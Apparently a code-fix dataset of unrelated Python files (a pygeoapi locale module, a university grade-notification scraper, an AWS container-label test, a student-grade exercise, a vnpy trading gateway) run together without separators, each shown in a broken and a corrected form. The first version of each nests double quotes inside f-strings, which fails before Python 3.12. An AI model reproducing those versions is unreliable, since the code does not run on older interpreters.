loc in lang] except LocaleError as err: LOGGER.debug(err) raise LocaleError('Bad value in supported server language(s)') def get_plugin_locale(config: dict, requested_locale: str) -> Union[Locale, None]: # noqa """ Returns the supported locale (best match) for a plugin based on the requested raw locale string. Returns None if the plugin does not support any locales. Returns the default (= first) locale that the plugin supports if no match for the requested locale could be found. :param config: The plugin definition :param requested_locale: The requested locale string (or None) """ plugin_name = f"{config.get("name", "")} plugin".strip() if not requested_locale: LOGGER.debug(f'No requested locale for {plugin_name}') requested_locale = '' LOGGER.debug(f'Requested {plugin_name} locale: {requested_locale}') locales = config.get('languages', config.get('language', [])) if locales: if not isinstance(locales, list): locales = [locales] locale = best_match(requested_locale, locales) LOGGER.info(f'{plugin_name} locale set to {locale}') return locale LOGGER.info(f'{plugin_name} has no locale support') return None
# ================================================================= # # Authors: Sander Schaminee <sander.schaminee@geocat.net> # # Copyright (c) 2021 GeoCat BV # # Permission is hereby granted, free of charge, to any person # obtaining a copy of this software and associated documentation # files (the "Software"), to deal in the Software without # restriction, including without limitation the rights to use, # copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the # Software is furnished to do so, subject to the following # conditions: # # The above copyright notice and this permission notice shall be # included in all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, # EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES # OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND # NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT # HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, # WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING # FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR # OTHER DEALINGS IN THE SOFTWARE. # # ================================================================= import logging from typing import Union from collections import OrderedDict from copy import deepcopy from babel import Locale from babel import UnknownLocaleError as _UnknownLocaleError from urllib import parse LOGGER = logging.getLogger(__name__) # Specifies the name of a request query parameter used to set a locale QUERY_PARAM = 'lang' # Cache Babel Locale lookups by string _lc_cache = {} # Cache translated configurations _cfg_cache = {} class LocaleError(Exception): """ General exception for any kind of locale parsing error. """ pass def str2locale(value, silent: bool = False) -> Union[Locale, None]: """ Converts a web locale or language tag into a Babel Locale instance. .. note:: If `value` already is a Locale, it is returned as-is. :param value: A string containing a (web) locale (e.g. 'fr-CH') or language tag (e.g. 'de'). :param silent: If True (default = False), no errors will be raised when parsing failed. Instead, `None` will be returned. :returns: babel.core.Locale or None :raises: LocaleError """ if isinstance(value, Locale): return value loc = _lc_cache.get(value) if loc: # Value has been converted before: return cached Locale return loc try: loc = Locale.parse(value.strip().replace('-', '_')) except (ValueError, AttributeError): if not silent: raise LocaleError(f"invalid locale '{value}'") except _UnknownLocaleError as err: if not silent: raise LocaleError(err) else: # Add to Locale cache _lc_cache[value] = loc return loc def locale2str(value: Locale) -> str: """ Converts a Babel Locale instance into a web locale string. :param value: babel.core.Locale :returns: A string containing a web locale (e.g. 'fr-CH') or language tag (e.g. 'de'). :raises: LocaleError """ if not isinstance(value, Locale): raise LocaleError(f"'{value}' is not of type {Locale.__name__}") return str(value).replace('_', '-') def best_match(accept_languages, available_locales) -> Locale: """ Takes an Accept-Languages string (from header or request query params) and finds the best matching locale from a list of available locales. This function provides a framework-independent alternative to the `best_match()` function available in Flask/Werkzeug. If no match can be found for the Accept-Languages, the first available locale is returned. This function always returns a Babel Locale instance. If you require the web locale string, please use the :func:`locale2str` function. If you only ever need the language part of the locale, use the `language` property of the returned locale. .. note:: Any tag in the `accept_languages` string that is an invalid or unknown locale is ignored. However, if no `available_locales` are specified, a `LocaleError` is raised. :param accept_languages: A Locale or string with one or more languages. This can be as simple as "de" for example, but it's also possible to include a territory (e.g. "en-US" or "fr_BE") or even a complex string with quality values, e.g. "fr-CH, fr;q=0.9, en;q=0.8, de;q=0.7, *;q=0.5". :param available_locales: A list containing the available locales. For example, a pygeoapi provider might only support ["de", "en"]. Locales in the list can be specified as strings (e.g. "nl-NL") or `Locale` instances. :returns: babel.core.Locale :raises: LocaleError """ def get_match(locale_, available_locales_): """ Finds the first match of `locale_` in `available_locales_`. """ if not locale_: return None territories_ = available_locales_.get(locale_.language, {}) if locale_.territory in territories_: # Full match on language and territory return locale_ if None in territories_: # Match on language only (generic, no territory) return Locale(locale_.language) if territories_: # Match on language but another territory (use first) return Locale(locale_.language, territory=territories_[0]) # No match at all return None if not available_locales: raise LocaleError('No available locales specified') if isinstance(accept_languages, Locale): # If a Babel Locale was used as input, transform back into a string accept_languages = locale2str(accept_languages) if not isinstance(accept_languages, str): # If `accept_languages` is not a string, ignore it LOGGER.debug(f"ignoring invalid accept-languages '{accept_languages}'") accept_languages = '' tags = accept_languages.split(',') num_tags = len(tags) req_locales = {} for i, lang in enumerate(tags): q_raw = None q_out = None if not lang: continue # Check if complex (i.e. with quality weights) try: lang, q_raw = (v.strip() for v in lang.split(';')) except ValueError: # Tuple unpacking failed: tag is not complex (or too complex :)) pass # Validate locale tag loc = str2locale(lang, True) if not loc: LOGGER.debug(f"ignoring invalid accept-language '{lang}'") continue # Validate quality weight (e.g. "q=0.7") if q_raw: try: q_out = float([v.strip() for v in q_raw.split('=')][1]) except (ValueError, IndexError): # Tuple unpacking failed: not a valid q tag pass # If there's no actual q, set one based on the language order if not q_out: q_out = num_tags - i # Store locale req_locales[q_out] = loc # Process supported locales prv_locales = OrderedDict() for a in available_locales: loc = str2locale(a) prv_locales.setdefault(loc.language, []).append(loc.territory) # Return best match from accepted languages for _, loc in sorted(req_locales.items(), reverse=True): match = get_match(loc, prv_locales) if match: LOGGER.debug(f"'{match}' matches requested '{accept_languages}'") return match # Nothing matched: return the first available locale for lang, territories in prv_locales.items(): match = Locale(lang, territory=territories[0]) LOGGER.debug(f"No match found for language '{accept_languages}'; " f"returning default locale '{match}'") return match def translate(value, language: Union[Locale, str]): """ If `value` is a language struct (where its keys are language codes and its values are translations for each language), this function tries to find and return the translation for the given `language`. If the given `value` is not a dict, the original value is returned. If the requested language does not exist in the struct, the first language value is returned. If there are no valid language keys in the struct, the original value is returned as well. If `language` is not a string or Locale, a LocaleError is raised. :param value: A value to translate. Typically either a string or a language struct dictionary. :param language: A locale string (e.g. "en-US" or "en") or Babel Locale. :returns: A translated string or the original value. :raises: LocaleError """ nested_dicts = isinstance(value, dict) and any(isinstance(v, dict) for v in value.values()) if not isinstance(value, dict) or nested_dicts: # Return non-dicts or dicts with nested dicts as-is return value # Validate language key by type (do not check if parsable) if not isinstance(language, (str, Locale)): raise LocaleError('language is not a str or Locale') # First try fast approach: directly fetch expected language key translation = value.get(locale2str(language) if hasattr(language, 'language') else language) if translation: return translation # Find valid locale keys in language struct # Also maps Locale instances to actual key names loc_items = OrderedDict() for k in value.keys(): loc = str2locale(k, True) if loc: loc_items[loc] = k if not loc_items: # No valid locale keys found: return as-is return value # Find best language match and return value by its key out_locale = best_match(language, loc_items) return value[loc_items[out_locale]] def translate_struct(struct, locale_: Locale, is_config: bool = False): """ Returns a copy of a given dict or list, where all language structs are filtered on the given locale, i.e. all language structs are replaced by translated values for the best matching locale. :param struct: A dict or list (of dicts) to filter/translate. :param locale_: The Babel Locale to filter on. :param is_config: If True, the struct is treated as a pygeoapi config. This means that the first 2 levels won't be translated and the translated struct is cached for speed. :returns: A translated dict or list """ def _translate_dict(obj, level: int = 0): """ Recursive function to walk and translate a struct. """ items = obj.items() if isinstance(obj, dict) else enumerate(obj) for k, v in items: if 0 <= level <= max_level and isinstance(v, (dict, list)): # Skip first 2 levels (don't translate) _translate_dict(v, level + 1) continue if isinstance(v, list): _translate_dict(v, level + 1) # noqa continue tr = translate(v, locale_) if isinstance(tr, dict): # Look for language structs in next level _translate_dict(tr, level + 1) else: # Overwrite level with translated value obj[k] = tr max_level = 1 if is_config else -1 result = {} if not struct: return result if not locale_: return struct # Check if we already translated the dict before result = _cfg_cache.get(locale_) if is_config else result if not result: # Create deep copy of config and translate/filter values result = deepcopy(struct) _translate_dict(result) # Cache translated pygeoapi configs for faster retrieval next time if is_config: _cfg_cache[locale_] = result return result def locale_from_headers(headers) -> str: """ Gets a valid Locale from a request headers dictionary. Supported are complex strings (e.g. "fr-CH, fr;q=0.9, en;q=0.8"), web locales (e.g. "en-US") or basic language tags (e.g. "en"). A value of `None` is returned if the locale was not found or invalid. :param headers: Mapping of request headers. :returns: locale string or None """ lang = {k.lower(): v for k, v in headers.items()}.get('accept-language') if lang: LOGGER.debug(f"Got locale '{lang}' from 'Accept-Language' header") return lang def locale_from_params(params) -> str: """ Gets a valid Locale from a request query parameters dictionary. Supported are complex strings (e.g. "fr-CH, fr;q=0.9, en;q=0.8"), web locales (e.g. "en-US") or basic language tags (e.g. "en"). A value of `None` is returned if the locale was not found or invalid. :param params: Mapping of request query parameters. :returns: locale string or None """ lang = params.get(QUERY_PARAM) if lang: LOGGER.debug(f"Got locale '{lang}' from query parameter '{QUERY_PARAM}'") # noqa return lang def set_response_language(headers: dict, locale_: Union[Locale, None], remove: bool = False): # noqa """ Sets the Content-Language on the given HTTP response headers dict. If `locale_` is None and `remove` is True, this will delete an existing Content-Language header. If `remove` is False (default), an existing Content-Language header will never be deleted. In that case, if `locale_` is None, the Content-Language will remain unchanged (if set). :param headers: A dict of HTTP response headers. :param locale_: The Babel Locale to which to set the Content-Language. :param remove: If True and `locale_` is None, the Content-Language header will be removed. """ if not hasattr(headers, '__setitem__'): LOGGER.warning(f"Cannot set headers on object '{headers}'") return if not isinstance(locale_, Locale): if locale_ is None and remove: try: del headers['Content-Language'] except KeyError: return LOGGER.debug('No locale: removed Content-Language header') return LOGGER.debug('Keeping existing Content-Language header (if set)') return loc_str = locale2str(locale_) LOGGER.debug(f'Setting Content-Language to {loc_str}') headers['Content-Language'] = loc_str def add_locale(url, locale_): """ Adds a locale query parameter (e.g. 'l=en-US') to a URL. If `locale_` is None or an empty string, the URL will be returned as-is. :param url: The web page URL (may contain query string). :param locale_: The web locale or language tag to append to the query. :returns: A new URL with a 'l=<locale>' query parameter. :raises: requests.exceptions.MissingSchema """ loc = str2locale(locale_, True) if not loc: # Validation of locale failed LOGGER.warning( f"Invalid locale '{locale_}': returning URL as-is") return url try: url_comp = parse.urlparse(url) params = dict(parse.parse_qsl(url_comp.query)) params[QUERY_PARAM] = locale2str(loc) qstr = parse.urlencode(params, quote_via=parse.quote, safe='/') return parse.urlunparse(( url_comp.scheme, url_comp.netloc, url_comp.path, url_comp.params, qstr, url_comp.fragment )) except (TypeError, ValueError): LOGGER.warning( f"Failed to append '{QUERY_PARAM}={loc}': returning URL as-is") # noqa return url def get_locales(config: dict) -> list: """ Reads the configured locales/languages from the given configuration. The first Locale in the returned list should be the default locale. :param config: A pygeaapi configuration dict :returns: A list of supported Locale instances """ srv_cfg = config.get('server', {}) lang = srv_cfg.get('languages', srv_cfg.get('language', [])) if isinstance(lang, str): LOGGER.info(f"pygeoapi only supports 1 language: {lang}") lang = [lang] if not isinstance(lang, list) or len(lang) == 0: LOGGER.error("Missing 'language(s)' key in config or bad value(s)") raise LocaleError('No languages have been configured') try: return [str2locale(loc) for loc in lang] except LocaleError as err: LOGGER.debug(err) raise LocaleError('Bad value in supported server language(s)') def get_plugin_locale(config: dict, requested_locale: str) -> Union[Locale, None]: # noqa """ Returns the supported locale (best match) for a plugin based on the requested raw locale string. Returns None if the plugin does not support any locales. Returns the default (= first) locale that the plugin supports if no match for the requested locale could be found. :param config: The plugin definition :param requested_locale: The requested locale string (or None) """ plugin_name = f"{config.get('name', '')} plugin".strip() if not requested_locale: LOGGER.debug(f'No requested locale for {plugin_name}') requested_locale = '' LOGGER.debug(f'Requested {plugin_name} locale: {requested_locale}') locales = config.get('languages', config.get('language', [])) if locales: if not isinstance(locales, list): locales = [locales] locale = best_match(requested_locale, locales) LOGGER.info(f'{plugin_name} locale set to {locale}') return locale LOGGER.info(f'{plugin_name} has no locale support') return None
import smtplib import time import requests import schedule from email.mime.text import MIMEText from email.header import Header session = requests.session() length = 0 data_dict = { } # -------------------------------------------------以下内容需要自己填写------------------------------------------------- # 个人信息区 username = xxxxxx password = xxxxx # 邮件配置区 mail_user = xxxxxxxx # 用户名 mail_pass = xxxxxxx # 口令 在QQ邮箱设置里面 # -------------------------------------------------以上内容需要自己填写------------------------------------------------- sender = mail_user # 发送者 receiver = sender times = 1 def data_get(us, pa): url = 'https://wfw.scu.edu.cn/a_scu/api/sso/check' url_for_id = 'https://wfw.scu.edu.cn/ncov/wap/default/index' data = { 'username': us, 'password': pa, 'redirect': 'https://wfw.scu.edu.cn/ncov/wap/default/index' } header = { 'Referer': 'https://wfw.scu.edu.cn/site/polymerization/polymerizationLogin?redirect=https%3A%2F%2Fwfw.scu.edu' '.cn%2Fncov%2Fwap%2Fdefault%2Findex&from=wap', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) ' 'Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3754.400 QQBrowser/10.5.4034.400', 'Host': 'wfw.scu.edu.cn', 'Origin': 'https://wfw.scu.edu.cn', } r = session.post(url, data=data, headers=header).json() if r['m'] == '操作成功': data = { "xq": "2", "year": "2019-2020", "kcmc": "" } r = session.post("https://wfw.scu.edu.cn/score/wap/default/get-data", headers=header, data=data).json()['d'][ 'list'] return r else: return False # ------------------------------------------------邮件发送功能------------------------------- def smtp(info, receivers) -> None: # 第三方 SMTP 服务 mail_host = "smtp.qq.com" # 设置服务器 message = MIMEText(info, 'plain', 'utf-8') message['From'] = Header("Y4tacker's Assistant", 'utf-8') message['To'] = Header('你有新的成绩请查收', 'utf-8') subject = '期末成绩自动推送' message['Subject'] = Header(subject, 'utf-8') try: smtpObj = smtplib.SMTP_SSL() smtpObj.connect(mail_host, 465) # 465 为 SMTP 端口号 smtpObj.login(mail_user, mail_pass) smtpObj.sendmail(sender, receivers, message.as_string()) except smtplib.SMTPException: pass def main(info): global length, receiver, times us = info[0] pa = info[1] data = data_get(us, pa) if times == 1: result = "由于是第一次运行程序\n获取了所有的成绩信息\n接下来只会发送新增成绩\n感谢您的使用\n" for i in data: data_dict[i['kcmc']] = i['kccj'] result += f"课程名称:{i["kcmc"]}, 成绩:{i["kccj"]}\n" smtp(result, receiver) length = len(data) times += 1 else: if len(data) != length: for i in data: if i['kcmc'] not in data_dict: data_dict[i['kcmc']] = i['kccj'] print(f"当前时间:{time.ctime()} 课程名称:{i["kcmc"]}, 成绩:{i["kccj"]}") smtp(f"您有一门新成绩出来了快快查看吧\n课程名称:{i["kcmc"]}, 成绩:{i["kccj"]}", receiver) length = len(data) else: print(f"当前时间:{time.ctime()} 系统通知:暂无新的成绩") if __name__ == '__main__': userInfo = [username, password] main(userInfo) schedule.every().hour.do(main, userInfo) while True: schedule.run_pending() time.sleep(1)
import smtplib import time import requests import schedule from email.mime.text import MIMEText from email.header import Header session = requests.session() length = 0 data_dict = { } # -------------------------------------------------以下内容需要自己填写------------------------------------------------- # 个人信息区 username = xxxxxx password = xxxxx # 邮件配置区 mail_user = xxxxxxxx # 用户名 mail_pass = xxxxxxx # 口令 在QQ邮箱设置里面 # -------------------------------------------------以上内容需要自己填写------------------------------------------------- sender = mail_user # 发送者 receiver = sender times = 1 def data_get(us, pa): url = 'https://wfw.scu.edu.cn/a_scu/api/sso/check' url_for_id = 'https://wfw.scu.edu.cn/ncov/wap/default/index' data = { 'username': us, 'password': pa, 'redirect': 'https://wfw.scu.edu.cn/ncov/wap/default/index' } header = { 'Referer': 'https://wfw.scu.edu.cn/site/polymerization/polymerizationLogin?redirect=https%3A%2F%2Fwfw.scu.edu' '.cn%2Fncov%2Fwap%2Fdefault%2Findex&from=wap', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) ' 'Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3754.400 QQBrowser/10.5.4034.400', 'Host': 'wfw.scu.edu.cn', 'Origin': 'https://wfw.scu.edu.cn', } r = session.post(url, data=data, headers=header).json() if r['m'] == '操作成功': data = { "xq": "2", "year": "2019-2020", "kcmc": "" } r = session.post("https://wfw.scu.edu.cn/score/wap/default/get-data", headers=header, data=data).json()['d'][ 'list'] return r else: return False # ------------------------------------------------邮件发送功能------------------------------- def smtp(info, receivers) -> None: # 第三方 SMTP 服务 mail_host = "smtp.qq.com" # 设置服务器 message = MIMEText(info, 'plain', 'utf-8') message['From'] = Header("Y4tacker's Assistant", 'utf-8') message['To'] = Header('你有新的成绩请查收', 'utf-8') subject = '期末成绩自动推送' message['Subject'] = Header(subject, 'utf-8') try: smtpObj = smtplib.SMTP_SSL() smtpObj.connect(mail_host, 465) # 465 为 SMTP 端口号 smtpObj.login(mail_user, mail_pass) smtpObj.sendmail(sender, receivers, message.as_string()) except smtplib.SMTPException: pass def main(info): global length, receiver, times us = info[0] pa = info[1] data = data_get(us, pa) if times == 1: result = "由于是第一次运行程序\n获取了所有的成绩信息\n接下来只会发送新增成绩\n感谢您的使用\n" for i in data: data_dict[i['kcmc']] = i['kccj'] result += f"课程名称:{i['kcmc']}, 成绩:{i['kccj']}\n" smtp(result, receiver) length = len(data) times += 1 else: if len(data) != length: for i in data: if i['kcmc'] not in data_dict: data_dict[i['kcmc']] = i['kccj'] print(f"当前时间:{time.ctime()} 课程名称:{i['kcmc']}, 成绩:{i['kccj']}") smtp(f"您有一门新成绩出来了快快查看吧\n课程名称:{i['kcmc']}, 成绩:{i['kccj']}", receiver) length = len(data) else: print(f"当前时间:{time.ctime()} 系统通知:暂无新的成绩") if __name__ == '__main__': userInfo = [username, password] main(userInfo) schedule.every().hour.do(main, userInfo) while True: schedule.run_pending() time.sleep(1)
import json import os import re import packaging import boto3 import pytest from test import test_utils @pytest.mark.integration("dlc_major_version_label") @pytest.mark.model("N/A") def test_dlc_major_version_label(image, region): """ Test to ensure that all DLC images have the LABEL "dlc_major_version" :param image: <str> Image URI :param region: <str> region where ECR repository holding the image resides :return: """ ecr_client = boto3.client("ecr", region_name=region) image_repository, image_tag = test_utils.get_repository_and_tag_from_image_uri(image) # Using "acceptedMediaTypes" on the batch_get_image request allows the returned image information to # provide the ECR Image Manifest in the specific format that we need, so that the image LABELS can be found # on the manifest. The default format does not return the image LABELs. response = ecr_client.batch_get_image( repositoryName=image_repository, imageIds=[{"imageTag": image_tag}], acceptedMediaTypes=["application/vnd.docker.distribution.manifest.v1+json"], ) if not response.get("images"): raise KeyError( f"Failed to get images through ecr_client.batch_get_image response for image {image_repository}:{image_tag}" ) elif not response["images"][0].get("imageManifest"): raise KeyError(f"imageManifest not found in ecr_client.batch_get_image response:\n{response["images"]}") manifest_str = response["images"][0]["imageManifest"] # manifest_str is a json-format string manifest = json.loads(manifest_str) image_metadata = json.loads(manifest["history"][0]["v1Compatibility"]) major_version = image_metadata["config"]["Labels"].get("dlc_major_version", None) assert major_version, f"{image} has no LABEL named 'dlc_major_version'. Please insert label." test_utils.LOGGER.info(f"{image} has 'dlc_major_version' = {major_version}") @pytest.mark.integration("dlc_major_version_label") @pytest.mark.model("N/A") def test_dlc_major_version_dockerfiles(image): """ Test to make sure semantic versioning scheme in Dockerfiles is correct :param image: <str> ECR image URI """ dlc_dir = os.getcwd().split(f"{os.sep}test{os.sep}")[0] job_type = test_utils.get_job_type_from_image(image) framework, fw_version = test_utils.get_framework_and_version_from_tag(image) processor = test_utils.get_processor_from_image_uri(image) # Assign a string of numbers associated with python version in tag. Python major version is not sufficient to # define DLC major version python_major_minor_version = re.search(r"-py(\d{2,})", image).group(1) root_dir = os.path.join(dlc_dir, framework, job_type, "docker") # Skip older FW versions that did not use this versioning scheme references = {"tensorflow2": "2.2.0", "tensorflow1": "1.16.0", "mxnet": "1.7.0", "pytorch": "1.5.0"} if test_utils.is_tf1(image): reference_fw = "tensorflow1" elif test_utils.is_tf2(image): reference_fw = "tensorflow2" else: reference_fw = framework if processor != "eia" and packaging.version.parse(fw_version) < packaging.version.parse(references[reference_fw]): pytest.skip( f"Not enforcing new versioning scheme on old image {image}. " f"Started enforcing version scheme on the following: {references}" ) # Find all Dockerfile.<processor> for this framework/job_type's Major.Minor version dockerfiles = [] fw_version_major_minor = re.match(r"(\d+\.\d+)", fw_version).group(1) for root, dirnames, filenames in os.walk(root_dir): for filename in filenames: if filename == f"Dockerfile.{processor}": dockerfile_path = os.path.join(root_dir, root, filename) if "example" not in dockerfile_path and f"{os.sep}{fw_version_major_minor}" in dockerfile_path: dockerfiles.append(dockerfile_path) # For the collected dockerfiles above, note the DLC major versions in each Dockerfile if python version matches # the current image under test versions = {} dlc_label_regex = re.compile(r'LABEL dlc_major_version="(\d+)"') python_version_regex = re.compile(r"ARG PYTHON_VERSION=(\d+\.\d+)") for dockerfile in dockerfiles: with open(dockerfile, "r") as df: dlc_version = None python_version = None for line in df: major_version_match = dlc_label_regex.match(line) python_version_match = python_version_regex.match(line) if major_version_match: dlc_version = int(major_version_match.group(1)) elif python_version_match: python_version = python_version_match.group(1).replace(".", "") # Raise errors if dlc major version label and python version arg are not found in Dockerfile if not dlc_version: raise DLCMajorVersionLabelNotFound(f"Cannot find dlc_major_version label in {dockerfile}") if not python_version: raise DLCPythonVersionNotFound(f"Cannot find PYTHON_VERSION arg in {dockerfile}") if python_version == python_major_minor_version: versions[dockerfile] = dlc_version expected_versions = list(range(1, len(dockerfiles) + 1)) actual_versions = sorted(versions.values()) # Test case explicitly for TF2.3 gpu, since v1.0 is banned if (framework, fw_version_major_minor, processor, python_major_minor_version, job_type) == ( "tensorflow", "2.3", "gpu", "37", "training", ): expected_versions = [v + 1 for v in expected_versions] assert 1 not in actual_versions, ( f"DLC v1.0 is deprecated in TF2.3 gpu containers, but found major version 1 " f"in one of the Dockerfiles. Please inspect {versions}" ) # Note: If, for example, we find 3 dockerfiles with the same framework major/minor version, same processor, # and same python major/minor version, we will expect DLC major versions 1, 2, and 3. If an exception needs to be # made to this rule, please see the above handling of TF2.3 as an example. assert actual_versions == expected_versions, ( f"Found DLC major versions {actual_versions} but expected {expected_versions} for " f"{framework} {job_type} {processor}. Full version info: {versions}. Py version: {python_major_minor_version}" ) class DLCMajorVersionLabelNotFound(Exception): pass class DLCPythonVersionNotFound(Exception): pass
import json import os import re import packaging import boto3 import pytest from test import test_utils @pytest.mark.integration("dlc_major_version_label") @pytest.mark.model("N/A") def test_dlc_major_version_label(image, region): """ Test to ensure that all DLC images have the LABEL "dlc_major_version" :param image: <str> Image URI :param region: <str> region where ECR repository holding the image resides :return: """ ecr_client = boto3.client("ecr", region_name=region) image_repository, image_tag = test_utils.get_repository_and_tag_from_image_uri(image) # Using "acceptedMediaTypes" on the batch_get_image request allows the returned image information to # provide the ECR Image Manifest in the specific format that we need, so that the image LABELS can be found # on the manifest. The default format does not return the image LABELs. response = ecr_client.batch_get_image( repositoryName=image_repository, imageIds=[{"imageTag": image_tag}], acceptedMediaTypes=["application/vnd.docker.distribution.manifest.v1+json"], ) if not response.get("images"): raise KeyError( f"Failed to get images through ecr_client.batch_get_image response for image {image_repository}:{image_tag}" ) elif not response["images"][0].get("imageManifest"): raise KeyError(f"imageManifest not found in ecr_client.batch_get_image response:\n{response['images']}") manifest_str = response["images"][0]["imageManifest"] # manifest_str is a json-format string manifest = json.loads(manifest_str) image_metadata = json.loads(manifest["history"][0]["v1Compatibility"]) major_version = image_metadata["config"]["Labels"].get("dlc_major_version", None) assert major_version, f"{image} has no LABEL named 'dlc_major_version'. Please insert label." test_utils.LOGGER.info(f"{image} has 'dlc_major_version' = {major_version}") @pytest.mark.integration("dlc_major_version_label") @pytest.mark.model("N/A") def test_dlc_major_version_dockerfiles(image): """ Test to make sure semantic versioning scheme in Dockerfiles is correct :param image: <str> ECR image URI """ dlc_dir = os.getcwd().split(f"{os.sep}test{os.sep}")[0] job_type = test_utils.get_job_type_from_image(image) framework, fw_version = test_utils.get_framework_and_version_from_tag(image) processor = test_utils.get_processor_from_image_uri(image) # Assign a string of numbers associated with python version in tag. Python major version is not sufficient to # define DLC major version python_major_minor_version = re.search(r"-py(\d{2,})", image).group(1) root_dir = os.path.join(dlc_dir, framework, job_type, "docker") # Skip older FW versions that did not use this versioning scheme references = {"tensorflow2": "2.2.0", "tensorflow1": "1.16.0", "mxnet": "1.7.0", "pytorch": "1.5.0"} if test_utils.is_tf1(image): reference_fw = "tensorflow1" elif test_utils.is_tf2(image): reference_fw = "tensorflow2" else: reference_fw = framework if processor != "eia" and packaging.version.parse(fw_version) < packaging.version.parse(references[reference_fw]): pytest.skip( f"Not enforcing new versioning scheme on old image {image}. " f"Started enforcing version scheme on the following: {references}" ) # Find all Dockerfile.<processor> for this framework/job_type's Major.Minor version dockerfiles = [] fw_version_major_minor = re.match(r"(\d+\.\d+)", fw_version).group(1) for root, dirnames, filenames in os.walk(root_dir): for filename in filenames: if filename == f"Dockerfile.{processor}": dockerfile_path = os.path.join(root_dir, root, filename) if "example" not in dockerfile_path and f"{os.sep}{fw_version_major_minor}" in dockerfile_path: dockerfiles.append(dockerfile_path) # For the collected dockerfiles above, note the DLC major versions in each Dockerfile if python version matches # the current image under test versions = {} dlc_label_regex = re.compile(r'LABEL dlc_major_version="(\d+)"') python_version_regex = re.compile(r"ARG PYTHON_VERSION=(\d+\.\d+)") for dockerfile in dockerfiles: with open(dockerfile, "r") as df: dlc_version = None python_version = None for line in df: major_version_match = dlc_label_regex.match(line) python_version_match = python_version_regex.match(line) if major_version_match: dlc_version = int(major_version_match.group(1)) elif python_version_match: python_version = python_version_match.group(1).replace(".", "") # Raise errors if dlc major version label and python version arg are not found in Dockerfile if not dlc_version: raise DLCMajorVersionLabelNotFound(f"Cannot find dlc_major_version label in {dockerfile}") if not python_version: raise DLCPythonVersionNotFound(f"Cannot find PYTHON_VERSION arg in {dockerfile}") if python_version == python_major_minor_version: versions[dockerfile] = dlc_version expected_versions = list(range(1, len(dockerfiles) + 1)) actual_versions = sorted(versions.values()) # Test case explicitly for TF2.3 gpu, since v1.0 is banned if (framework, fw_version_major_minor, processor, python_major_minor_version, job_type) == ( "tensorflow", "2.3", "gpu", "37", "training", ): expected_versions = [v + 1 for v in expected_versions] assert 1 not in actual_versions, ( f"DLC v1.0 is deprecated in TF2.3 gpu containers, but found major version 1 " f"in one of the Dockerfiles. Please inspect {versions}" ) # Note: If, for example, we find 3 dockerfiles with the same framework major/minor version, same processor, # and same python major/minor version, we will expect DLC major versions 1, 2, and 3. If an exception needs to be # made to this rule, please see the above handling of TF2.3 as an example. assert actual_versions == expected_versions, ( f"Found DLC major versions {actual_versions} but expected {expected_versions} for " f"{framework} {job_type} {processor}. Full version info: {versions}. Py version: {python_major_minor_version}" ) class DLCMajorVersionLabelNotFound(Exception): pass class DLCPythonVersionNotFound(Exception): pass
aluno = {} aluno['nome'] = str(input('Nome: ')) aluno['media'] = float(input(f'Média de {aluno['nome']}: ')) if aluno['media'] >= 7: aluno['situação'] = 'Aprovado' elif aluno['media'] >=5: aluno['situação'] = 'Recuperação' else: aluno['situação'] = 'Reprovado' print('-=' * 20) for chave, valor in aluno.items(): print(f' - {chave} é igual a {valor}')
aluno = {} aluno['nome'] = str(input('Nome: ')) aluno['media'] = float(input(f'Média de {aluno["nome"]}: ')) if aluno['media'] >= 7: aluno['situação'] = 'Aprovado' elif aluno['media'] >=5: aluno['situação'] = 'Recuperação' else: aluno['situação'] = 'Reprovado' print('-=' * 20) for chave, valor in aluno.items(): print(f' - {chave} é igual a {valor}')
from datetime import datetime from typing import Optional, Sequence, Dict from enum import Enum import pytz from vnpy.event import EventEngine from vnpy.trader.gateway import BaseGateway from vnpy.trader.constant import ( Exchange, Product, Offset, OrderType, Direction, Status ) from vnpy.trader.object import ( SubscribeRequest, CancelRequest, OrderRequest, ContractData, TickData, OrderData, TradeData, LogData ) from .comstar_api import TdApi VN_ENUMS = { "Exchange": Exchange, "Product": Product, "Offset": Offset, "OrderType": OrderType, "Direction": Direction, "Status": Status } CHINA_TZ = pytz.timezone("Asia/Shanghai") class ComstarGateway(BaseGateway): """ VN Trader Gateway for Comstar service. """ default_setting = { "交易服务器": "", "用户名": "", "密码": "", "Key": "" } exchanges = [Exchange.CFETS] def __init__(self, event_engine: EventEngine): """Constructor""" super().__init__(event_engine, "COMSTAR") self.api = UserApi(self) def connect(self, setting: dict): """""" td_address = setting["交易服务器"] username = setting["用户名"] password = setting["密码"] key = setting["Key"] self.api.connect(username, password, key, td_address) def subscribe(self, req: SubscribeRequest): """""" # Symbol format: 180406_T0 or 180406_T1 symbol, settle_type, *_ = req.symbol.split("_") + [""] if settle_type not in {"T0", "T1"}: self.write_log("请输入清算速度T0或T1") return "" data = vn_encode(req) data["symbol"] = symbol data["settle_type"] = settle_type self.api.subscribe(data, self.gateway_name) def send_order(self, req: OrderRequest): """""" # Offset is not supported for Comstar gateawy req.offset = Offset.NONE if req.type not in {OrderType.LIMIT, OrderType.FAK}: self.write_log("仅支持限价单和FAK单") return "" symbol, settle_type, *_ = req.symbol.split("_") + [""] if settle_type not in {"T0", "T1"}: self.write_log("请输入清算速度T0或T1") return "" data = vn_encode(req) data["symbol"] = symbol data["settle_type"] = settle_type data["strategy_name"] = data.pop("reference") order_id = self.api.send_order(data, self.gateway_name) # convert to vt_orderid return f"{self.gateway_name}.{order_id}" def cancel_order(self, req: CancelRequest): """""" data = vn_encode(req) symbol, settle_type, *_ = req.symbol.split("_") + [""] data["symbol"] = symbol data["settle_type"] = settle_type self.api.cancel_order(data, self.gateway_name) def query_account(self): """""" pass def query_position(self): """""" pass def query_all(self): """""" self.api.get_all_contracts() 